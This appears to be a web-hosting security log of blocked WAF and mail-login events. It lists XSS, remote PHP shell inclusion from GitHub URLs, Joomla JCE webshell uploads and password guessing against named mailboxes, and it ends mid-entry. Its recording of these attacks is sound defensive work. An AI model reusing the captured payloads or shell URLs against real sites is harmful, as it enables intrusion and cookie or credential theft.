# incident

plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.70.114.131
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:57957.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93305274613cbd4377cfd1d8e113714fad9e8e3a||Title:843mkbwqg5kfp1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.190.24.89
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7d1503284 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-17 14:02:12 dovecot_login authenticator failed for H=([121.120.200.206]) [14.42.47.150]:13252: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.151
country_id: 1668284
description:
2026-07-17 14:02:47 dovecot_login authenticator failed for H=111-70-29-151.emome-ip.hinet.net (ip-179.48.229.118.fiberlinkpe.net.br) [111.70.29.151]:41552: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.88.134
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/801747139 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:elegantautomotiv||SC:/home/elegantautomotiv/public_html/index.php||WPU:||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.222.51.3
country_id: 272103
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/843061671 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.149.56.13
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/813530484 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.206.124.83
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/843825059 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-17 14:08:09 dovecot_login authenticator failed for H=([102.210.149.132]) [24.187.213.29]:44740: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-17 14:08:19 dovecot_login authenticator failed for H=([121.120.201.112]) [165.101.222.22]:39012: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.187.56.126
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/911517249 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.66.239
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/94846596 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.212.41.150
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/953833820 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.246.177.69
country_id: 1835841
description:
2026-07-17 14:10:52 dovecot_login authenticator failed for H=([49.124.149.204]) [211.246.177.69]:47637: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 138.186.139.102
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://business.wapakdailynews.com/wapakdailynews/markets/article/abnewswire-2026-5-27-paver-cleaning-and-surface-maintenance-updates-released-by-paver-cleaning-and-sealing-pros-of-farmingville-for-the-selden-ny-community/\">Paver Cleaning & Sealing Pros of Farmingville</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.95.64.28
country_id: 6252001
description:
2026-07-17 14:11:18 dovecot_login authenticator failed for H=([113.140.95.250]) [70.95.64.28]:35591: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.133.135.210
country_id: 798544
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9c511391 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.39.35.211
country_id: 2635167
description:
2026-07-17 14:12:23 dovecot_login authenticator failed for H=(ipmapt-72-195-114-188.oc.oc.cox.net) [82.39.35.211]:49088: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-17 14:11:54 dovecot_login authenticator failed for H=([98.170.57.251]) [78.197.6.173]:54024: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.253.151.97
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a3405196 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.240.255.200
country_id: 2264397
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b21639929 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 156.146.61.10
country_id: 2782113
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-17 14:13:25 dovecot_login authenticator failed for H=([115.89.229.34]) [65.20.204.41]:45341: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.79.201.165
country_id: 3489940
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a81513907 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.143.65.132
country_id: 3144096
description:
2026-07-17 14:14:10 dovecot_login authenticator failed for H=(82-65-140-218.subs.proxad.net) [94.143.65.132]:55978: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-17 14:14:13 dovecot_login authenticator failed for H=([142.54.239.4]) [65.20.202.4]:55282: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.36.233.224
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/bc1415890 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-17 14:14:32 dovecot_login authenticator failed for H=([118.91.176.243]) [197.219.210.94]:45518: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.174.56.97
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c4607113 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.253.147.12
country_id: 6252001
description:
2026-07-17 14:18:35 dovecot_login authenticator failed for H=cm-170-253-147-12.maxxsouthbb.net (Dinamic-Tigo186-97-203-163.tigo.com.co) [170.253.147.12]:47186: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.144.24.198
country_id: 3017382
description:
2026-07-17 14:18:41 dovecot_login authenticator failed for H=([222.118.247.66]) [185.144.24.198]:53526: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.1.107.95
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/dd3273662 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-17 14:17:58 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net (syn-184-057-039-170.res.spectrum.com) [76.133.97.153]:47513: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-17 14:18:54 dovecot_login authenticator failed for H=([218.92.251.198]) [111.119.44.29]:42466: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.140.28.18
country_id: 3202326
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e8480642 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-17 14:21:19 dovecot_login authenticator failed for H=([178.158.142.39]) [202.62.88.25]:50350: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-17 14:21:30 dovecot_login authenticator failed for H=([120.194.50.39]) [182.78.86.62]:43534: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.103.17.201
country_id: 2589581
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e92363559 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.27.37
country_id: 1269750
description:
2026-07-17 14:22:18 dovecot_login authenticator failed for H=([98.182.171.163]) [49.206.27.37]:33350: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.194.37.176
country_id: 6251999
description:
2026-07-17 14:23:21 dovecot_login authenticator failed for H=104-194-37-176.tpia.execulink.com ([120.195.35.240]) [104.194.37.176]:54190: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-17 14:22:52 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net ([27.123.94.66]) [111.70.34.21]:52057: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.28.191.89
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f6218824 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-17 14:23:50 dovecot_login authenticator failed for H=([197.219.210.94]) [121.185.89.74]:44360: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-17 14:24:01 dovecot_login authenticator failed for H=([222.104.76.94]) [121.202.206.119]:55516: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: travelinbh.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.30||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//amberobservatory.top/public/scope-cookie.js></script>||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 39.194.2.151
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-e234a1c13bb1b49a45a724f15e467051.xml.php||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-17 14:25:14 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com ([182.95.61.82]) [34.41.211.48]:57378: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-17 14:25:00 dovecot_login authenticator failed for H=([218.156.8.97]) [206.62.136.109]:41144: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-17 14:27:10 dovecot_login authenticator failed for H=([146.255.228.189]) [122.176.45.238]:48844: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-17 14:27:25 dovecot_login authenticator failed for H=([185.112.148.66]) [36.39.140.2]:56342: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-17 14:27:32 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([188.240.192.154]) [73.203.17.220]:38066: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.92.45
country_id: 2802361
description:
2026-07-17 14:27:06 dovecot_login authenticator failed for H=([122.186.249.6]) [91.86.92.45]:5106: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.135.138.170
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/07234025 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.249.16
country_id: 298795
description:
2026-07-17 14:27:48 dovecot_login authenticator failed for H=([182.73.49.249]) [5.11.249.16]:46994: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.76.79.148
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/05758272 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.6.226.104
country_id: 6252001
description:
2026-07-17 14:27:52 dovecot_login authenticator failed for H=209-6-226-104.s4710.c3-0.wtr-cbr1.sbo-wtr.ma.cable.rcncustomer.com ([62.201.228.210]) [209.6.226.104]:52898: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.155.27.41
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/55590092 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.4.58.59
country_id: 3194884
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/573291746 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.27.37
country_id: 1269750
description:
2026-07-17 14:32:12 dovecot_login authenticator failed for H=(ip157.net-193-180-125.koping.net) [49.206.27.37]:43668: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.36.209.120
country_id: 6252001
description:
2026-07-17 14:32:15 dovecot_plain authenticator failed for H=(efornese) [154.36.209.120]:59468: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-17 14:32:34 dovecot_login authenticator failed for H=([195.211.39.144]) [101.13.5.34]:55098: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.255.201.216
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/631674890 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.154.49.33
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/632777688 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.188.131.217
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/682400262 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 154.19.231.86
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5921.xml.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 34.142.133.102
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:burka.txt||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.38.159
country_id: 3658394
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6b2337234 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.210
country_id: 130758
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/images/cache.php||SC:/home/ahsmarine/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.109.219.190
country_id: 783754
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/763173344 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.43.135.37
country_id: 719819
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7a2737764 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-bbc3b77326cf9b42a7bef315a123b9ea.xml.php||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-17 14:44:41 dovecot_login authenticator failed for H=ns1.sinergi.net.id (abts-mum-static-253.100.170.122.airtelbroadband.in) [223.25.108.2]:38736: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-17 14:45:07 dovecot_login authenticator failed for H=(42-200-60-186.static.imsbiz.com) [2.59.162.146]:40692: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-17 14:45:24 dovecot_login authenticator failed for H=([178.170.221.148]) [182.78.65.154]:46146: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-17 14:45:50 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [119.192.249.195]:36077: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-17 14:46:01 dovecot_login authenticator failed for H=([112.27.38.203]) [116.98.104.138]:55842: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.216.140.153
country_id: 1269750
description:
2026-07-17 14:46:07 dovecot_login authenticator failed for H=(syn-174-105-015-192.res.spectrum.com) [162.216.140.153]:42750: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-17 14:47:15 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [61.32.68.66]:25039: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.232.53.55
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://lovealba.co.kr/\">\xed\x85\x90\xec\xb9\xb4\xed\x8e\x98\xec\x95\x8c\xeb\xb0\x94</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.173.78.90
country_id: 2510769
description:
2026-07-17 14:47:35 dovecot_login authenticator failed for H=([187.9.84.33]) [90.173.78.90]:44994: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-17 14:48:29 dovecot_login authenticator failed for H=([182.210.174.66]) [61.79.170.117]:60389: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.67.28.54
country_id: 3017382
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/952825565 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.116.114
country_id: 1269750
description:
2026-07-17 14:48:11 dovecot_login authenticator failed for H=([49.124.152.235]) [128.185.116.114]:48186: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-17 14:50:11 dovecot_login authenticator failed for H=([196.189.124.229]) [121.185.89.74]:59410: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.60.26.101
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a32735368 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-17 14:51:07 dovecot_login authenticator failed for H=(host-104-171-247-183.midolt6.epbfi.com) [128.185.208.42]:58948: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.204.198.157
country_id: 2589581
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/home-theatre-is-not-a-luxury-it-is-a-trend-of-a-covid-era-report-on-kerala-kaumudi HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-17 14:50:50 dovecot_login authenticator failed for H=(net-62-183-82-70.kbrnet.ru) [169.211.232.182]:35456: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.148.165.230
country_id: 6252001
description:
2026-07-17 14:50:58 dovecot_login authenticator failed for H=([36.154.134.146]) [141.148.165.230]:41040: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-17 14:50:59 dovecot_login authenticator failed for H=([125.22.41.169]) [116.98.104.138]:46708: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.178.64.35
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a4796619 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 203.215.166.12
country_id: 1168579
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.30||T:APACHE||RA:203.215.166.12||TA:203.215.166.12||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-17 14:53:44 dovecot_login authenticator failed for H=([107.181.161.85]) [59.6.72.106]:18689: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.66.171
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b82467576 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.119.93.123
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b8382518 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.165.28.10
country_id: 1269750
domain: keralapeople.com
description:
